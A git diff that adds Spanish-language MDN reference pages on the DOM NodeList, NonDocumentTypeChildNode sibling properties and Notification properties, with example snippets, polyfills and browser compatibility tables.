+nodo.appendChild(infante3);
+
+var list = nodo.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'miEsteArg'
+);</pre>
+
+<p>resulta en:</p>
+
+<pre>[object HTMLParagraphElement], 0, miEsteArg
+[object Text], 1, miEsteArg
+[object HTMLSpanElement], 2, miEsteArg</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este {{Glossary("Polyfill","polyfill")}} le da compatibilidad a todos los navegadores que soportan <a href="https://caniuse.com/#search=es5">ES5</a>:</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+   NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+       for (var i = 0; i &lt; this.length; i++) {
+           callback.call(thisArg, this[i], i, this);
+       }
+    };
+}</pre>
+
+<p>ó</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = Array.prototype.forEach;
+}</pre>
+
+<p>El comportamiento ateriror esta implementado en muchos navegadores. NodeList.prototype.forEach (Chrome, Firefox for example).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Especificación</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td>Define<code>NodeList</code> como<code>&lt;Nodo&gt;iterable</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebIDL", "#es-forEach", "forEach")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Define<code>forEach</code>en declaraciones<code>iterables</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidades en esta página es generada con datos estructurados. Si quisieras contribuir a los datos, revisa<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>y envíanos una solicitud de pull.</div>
+
+<p>{{Compat("api.NodeList.forEach")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/es/web/api/nodelist/index.html b/files/es/web/api/nodelist/index.html
new file mode 100644
index 0000000000..444a6cbb07
--- /dev/null
+++ b/files/es/web/api/nodelist/index.html
@@ -0,0 +1,123 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - API
+  - DOM
+  - Interfaz
+  - NodeList
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Los objetos <strong><code>NodeList</code></strong> son colecciones de nodos como los devueltos por propiedades como {{domxref ("Node.childNodes")}} y el método {{domxref ("document.querySelectorAll ()")}}..</p>
+
+<div class="note">
+<p>Aunque <code>NodeList</code> no es un <code>Array</code>, es posible iterar sobre él utilizando <code>forEach()</code>. También puede convertirse a un <code>Array</code> usando <code>Array.from</code>.</p>
+
+<p>Sin embargo, algunos navegadores antiguos no han implementado <code>NodeList.forEach()</code> ni <code>Array.from()</code>. Pero esas limitaciones pueden eludirse utilizando {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} (más en este documento).</p>
+</div>
+
+<p>En algunos casos, <code>NodeList</code> es una colección <em>en vivo</em>, lo que significa que los cambios en el DOM se reflejan en la colección. Por ejemplo, {{domxref ("Node.childNodes")}} está en vivo:</p>
+
+<pre class="brush: js">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // asumamos "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // debería imprimir "3"
+</pre>
+
+<p>En otros casos, <code>NodeList</code> es una colección estática, lo que significa que cualquier cambio posterior en el DOM no afecta el contenido de la colección. {{domxref ("document.querySelectorAll ()")}} devuelve un <code>NodeList</code> estático.</p>
+
+<p>Es bueno tener en cuenta esta distinción cuando elige cómo iterar sobre los elementos en <code>NodeList</code>, y cómo guarda en caché la longitud de la lista en particular.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+ <dd>El número de nodos en la <code>NodeList</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+</dl>
+
+<dl>
+ <dd>Devuelve un elemento en la lista por su índice, o <code>null</code> si el índice está fuera de límites; se puede utilizar como una alternativa para acceder simplemente a <code>nodeList[idx]</code> (que en cambio devuelve indefinido cuando idx está fuera de límites).</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>Devuelve un {{jsxref ("Iteration_protocols", "iterator")}} que permite pasar por todos los pares clave / valor contenidos en este objeto.</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd>Ejecuta una función proporcionada una vez por elemento <code>NodeList</code>.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>Devuelve un {{jsxref ("Iteration_protocols", "iterator")}} que permite pasar por todas las claves de los pares clave / valor contenidos en este objeto.</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>Devuelve un {{jsxref ("Iteration_protocols", "iterator")}} que permite recorrer todos los valores de los pares clave / valor contenidos en este objeto.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Es posible iterar sobre los items en un <code>NodeList</code> usando:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; i++) {
+  var item = myNodeList[i];  // No es necesario llamar a myNodeList.item(i) en JavaScript
+}
+</pre>
+
+<p>No se sienta tentado a <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a></code> or <code><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a></code> para enumerar los elementos en la lista, ya que eso también enumerará la longitud y las propiedades del elemento de <code>NodeList</code> y causará errores si su secuencia de comandos asume que solo tiene que tratar con objetos {{domxref ("element")}}. Además, <code>for..in</code> no garantiza visitar las propiedades en ningún orden en particular.</p>
+
+<p>Los bucles <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> harán un bucle sobre los objetos <code>NodeList</code> correctamente:</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}
+</pre>
+
+<p>Los navegadores recientes también son compatibles con los métodos de iteración, {{domxref("NodeList.forEach()", "forEach()")}}, así como {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, y {{domxref("NodeList.keys()", "keys()")}}</p>
+
+<p>También hay una forma compatible con Internet Explorer de usar {{jsxref ("Array.forEach ()", "Array.prototype.forEach")}} para la iteración.</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM3 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM2 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.NodeList")}}</p>
diff --git a/files/es/web/api/nondocumenttypechildnode/index.html b/files/es/web/api/nondocumenttypechildnode/index.html
new file mode 100644
index 0000000000..20f5c6ea40
--- /dev/null
+++ b/files/es/web/api/nondocumenttypechildnode/index.html
@@ -0,0 +1,132 @@
+---
+title: NonDocumentTypeChildNode
+slug: Web/API/NonDocumentTypeChildNode
+tags:
+  - API
+  - DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/NonDocumentTypeChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>NonDocumentTypeChildNode</strong></code> interface contains methods that are particular to {{domxref("Node")}} objects that can have a parent, but not suitable for {{domxref("DocumentType")}}.</p>
+
+<p><code>NonDocumentTypeChildNode</code> is a raw interface and no object of this type can be created; it is implemented by {{domxref("Element")}}, and {{domxref("CharacterData")}} objects.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There is no inherited property.</em></p>
+
+<dl>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list prior to this node.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list following this node.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>There is neither inherited, nor specific method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and <code>NonDocumentTypeChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter.<br>
+    The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 also added the two properties defined here on {{domxref("DocumentType")}}, this was removed in Firefox 28 due to compatibility problems, and led to the creation of this new pure interface.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, and {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/nondocumenttypechildnode/nextelementsibling/index.html b/files/es/web/api/nondocumenttypechildnode/nextelementsibling/index.html
new file mode 100644
index 0000000000..68395bc2b3
--- /dev/null
+++ b/files/es/web/api/nondocumenttypechildnode/nextelementsibling/index.html
@@ -0,0 +1,113 @@
+---
+title: NonDocumentTypeChildNode.nextElementSibling
+slug: Web/API/NonDocumentTypeChildNode/nextElementSibling
+tags:
+  - API
+  - DOM
+  - NonDocumentTypeChildNode
+  - Propiedad
+translation_of: Web/API/NonDocumentTypeChildNode/nextElementSibling
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de sólo lectura <code><strong>NonDocumentTypeChildNode.nextElementSibling</strong></code> devuelve el elemento inmediatamente posterior al especificado, dentro de la lista de elementos hijos de su padre, o bien <code>null</code> si el elemento especificado es el último en dicha lista.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>nextNode</em> = elementNodeReference.nextElementSibling; </pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  var el = document.getElementById('div-01').nextElementSibling;
+  console.log('Siblings of div-01:');
+  while (el) {
+    console.log(el.nodeName);
+    el = el.nextElementSibling;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Este ejemplo muestra en la consola lo siguiente cuando se carga:</p>
+
+<pre>Siblings of div-01:
+DIV
+SCRIPT</pre>
+
+<h2 id="Polyfill_para_Internet_Explorer_8">Polyfill para Internet Explorer 8</h2>
+
+<p>Esta propiedad no está soportada con anterioridad a IE9, así que el siguiente fragmento de código puede utilizarse para añadir el soporte a IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("nextElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "nextElementSibling", {
+        get: function(){
+            var e = this.nextSibling;
+            while(e &amp;&amp; 1 !== e.nodeType)
+                e = e.nextSibling;
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Polyfill_para_Internet_Explorer_9_y_Safari">Polyfill para Internet Explorer 9+ y Safari</h2>
+
+<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/NonDocumentTypeChildNode/nextElementSibling/nextElementSibling.md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('nextElementSibling')) {
+      return;
+    }
+    Object.defineProperty(item, 'nextElementSibling', {
+      configurable: true,
+      enumerable: true,
+      get: function () {
+        var el = this;
+        while (el = el.nextSibling) {
+          if (el.nodeType === 1) {
+              return el;
+          }
+        }
+        return null;
+      },
+      set: undefined
+    });
+  });
+})([Element.prototype, CharacterData.prototype]);</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-nextelementsibling', 'ChildNodenextElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Se dividió la interfaz <code>ElementTraversal</code> en {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, y {{domxref("NonDocumentTypeChildNode")}}. Este método queda ahora definido en la primera.<br>
+    Los interfaces {{domxref("Element")}} y {{domxref("CharacterData")}} implementaron la nueva interfaz.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-nextElementSibling', 'ElementTraversal.nextElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Añadió su definición inicial a la interfaz pura <code>ElementTraversal</code> y su uso en {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.NonDocumentTypeChildNode.nextElementSibling")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz pura {{domxref("ChildNode")}}.</li>
+ <li>Tipos de objetos que implementan esta interfaz pura: {{domxref("CharacterData")}}, {{domxref("Element")}}, y {{domxref("DocumentType")}}.</li>
+</ul>
diff --git a/files/es/web/api/nondocumenttypechildnode/previouselementsibling/index.html b/files/es/web/api/nondocumenttypechildnode/previouselementsibling/index.html
new file mode 100644
index 0000000000..13867e8fe4
--- /dev/null
+++ b/files/es/web/api/nondocumenttypechildnode/previouselementsibling/index.html
@@ -0,0 +1,160 @@
+---
+title: NonDocumentTypeChildNode.previousElementSibling
+slug: Web/API/NonDocumentTypeChildNode/previousElementSibling
+translation_of: Web/API/NonDocumentTypeChildNode/previousElementSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propiedad de sólo lectura <code><strong>NonDocumentTypeChildNode.previousElementSibling</strong></code> retorna el {{domxref("Element")}} predecesor inmediato al especificado dentro de la lista de hijos de su padre, o bien <code>null</code> si el elemento especificado es el primero de dicha lista.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>prevNode</var> = elementNodeReference.previousElementSibling;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;Aquí está div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Aquí está div-02&lt;/div&gt;
+&lt;li&gt;Esto es un elemento de lista&lt;/li&gt;
+&lt;li&gt;Esto es otro elemento de lista&lt;/li&gt;
+&lt;div id="div-03"&gt;Aquí esta div-03&lt;/div&gt;
+
+&lt;script&gt;
+  var el = document.getElementById('div-03').previousElementSibling;
+  document.write('&lt;p&gt;Hermanos de div-03&lt;/p&gt;&lt;ol&gt;');
+  while (el) {
+    document.write('&lt;li&gt;' + el.nodeName + '&lt;/li&gt;');
+    el = el.previousElementSibling;
+  }
+  document.write('&lt;/ol&gt;');
+&lt;/script&gt;
+</pre>
+
+<p>Este ejemplo muestra lo siguiente en la página cuando carga:</p>
+
+<pre>Hermanos de div-03
+
+   1. LI
+   2. LI
+   3. DIV
+   4. DIV
+</pre>
+
+<h2 id="Polyfill_para_Internet_Explorer_8">Polyfill para Internet Explorer 8</h2>
+
+<p>Esta propiedad no está soportada con anterioridad a IE9, así que puede utilizarse el siguiente fragmento para añadri el soporte a IE8:</p>
+
+<pre class="brush: js">// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("previousElementSibling" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "previousElementSibling", {
+        get: function(){
+            var e = this.previousSibling;
+            while(e &amp;&amp; 1 !== e.nodeType)
+                e = e.previousSibling;
+            return e;
+        }
+    });
+}</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-nondocumenttypechildnode-previouselementsibling', 'NonDocumentTypeChildNode.previousElementSibling')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Dividió el interfaz <code>ElementTraversal</code> en {{domxref("ChildNode")}}, {{domxref("ParentNode")}}, y {{domxref("NonDocumentTypeChildNode")}}. Este método queda ahora definida en el primero.<br>
+    Los interfaces {{domxref("Element")}} y {{domxref("CharacterData")}} implementaron la nueva interfaz.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-previousElementSibling', 'ElementTraversal.previousElementSibling')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Añadida su definición inicial al interfaz puro <code>ElementTraversal</code> y lo usa en {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>9.8</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("CharacterData")}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico (en {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9.8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Soporte en {{domxref("CharacterData")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 también añadía esta propiedad a {{domxref("DocumentType")}}, y fue eliminada en Firefox 28 debido a problemas de compatibildad.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El interfaz puro {{domxref("NonDocumentTypeChildNode")}}.</li>
+ <li>
+  <div class="syntaxbox">Tipos de objetos que implementan este interfaz puro: {{domxref("CharacterData")}}, y {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/notification/body/index.html b/files/es/web/api/notification/body/index.html
new file mode 100644
index 0000000000..46c3209386
--- /dev/null
+++ b/files/es/web/api/notification/body/index.html
@@ -0,0 +1,63 @@
+---
+title: Notification.body
+slug: Web/API/notification/body
+tags:
+  - API
+  - API Notificaciones
+  - Javascript Notificador
+  - Notificaciones
+translation_of: Web/API/Notification/body
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen </h2>
+
+<p>El <font face="Consolas, Monaco, Andale Mono, monospace">body es la </font> propiedad que representa el contenido  de la notificacion.</p>
+
+<p>Los valores por esta propiedad son enviandos durante la  <span style="line-height: 23.3333339691162px;">instanciación de </span>{{domxref("Notification")}}  definiendo la propiedad body en el objeto de las opciones pasa al {{domxref("Notification")}} constructor.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var <em>body</em> = <em>instanceOfNotification</em>.body;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Tipo</h3>
+
+<p>String.</p>
+
+<h2 id="Especificaciones"><span style="font-family: 'Open Sans Light', sans-serif; font-weight: bold; line-height: 23.3333339691162px; background-color: rgba(212, 221, 228, 0.498039);">Especificaciones</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span style="font-family: 'Open Sans Light', sans-serif; font-weight: bold; line-height: 23.3333339691162px; background-color: rgba(212, 221, 228, 0.498039);">Especificacion</span></th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Using Web Notifications</a></li>
+</ul>
diff --git a/files/es/web/api/notification/dir/index.html b/files/es/web/api/notification/dir/index.html
new file mode 100644
index 0000000000..35f58dfca7
--- /dev/null
+++ b/files/es/web/api/notification/dir/index.html
@@ -0,0 +1,59 @@
+---
+title: Notification.dir
+slug: Web/API/notification/dir
+translation_of: Web/API/Notification/dir
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span style="line-height: 23.3333339691162px;">La propiedad dir indica la direccion para el lenguaje a usar </span><span style="line-height: 23.3333339691162px;">dentro de la notificación</span>.</p>
+
+<p>El valor por esta propiedad es envianda durante la instanciancion de <span style="line-height: 23.3333339691162px;">{{domxref("Notification")}} </span>mediante la definición de la propiedad dir el objeto de las opciones pasa al {{domxref ("Notificación")}} constructor.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var <em>direction</em> = <em>instanceOfNotification</em>.dir;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Tipo</h3>
+
+<p>String <span style="line-height: 23.3333339691162px;">representa la actual direccion</span>. puede ser:  </p>
+
+<ul>
+ <li><code>auto</code>: La direccion es definida automaticamente.</li>
+ <li><code>ltr</code>: <span style="line-height: 23.3333339691162px;">El texto es desplegado de izquierda a derecha</span>.</li>
+ <li><code>rtl</code>: <span style="line-height: 23.3333339691162px;">El texto es desplegado de derecha a izquierda</span>.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Using Web Notifications</a></li>
+</ul>
diff --git a/files/es/web/api/notification/icon/index.html b/files/es/web/api/notification/icon/index.html
new file mode 100644
index 0000000000..deb7c0606e
--- /dev/null
+++ b/files/es/web/api/notification/icon/index.html
@@ -0,0 +1,58 @@
+---
+title: Notification.icon
+slug: Web/API/notification/icon
+translation_of: Web/API/Notification/icon
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span style="line-height: 23.3333339691162px;">La propiedad icon indica la URL del icono a usar dentro de la notificacion</span>.</p>
+
+<p>El valor para esta propiedad es enviada durante la instanciacion <span style="line-height: 23.3333339691162px;">{{domxref("Notification")}}  definiendo la propiedad icon el objeto pasa al </span> <span style="line-height: 23.3333339691162px;">{{domxref("Notification")}} constructor.</span></p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var <em>icon</em> = <em>instanceOfNotification</em>.icon;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Tipo</h3>
+
+<p>String que representa una URL válida.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
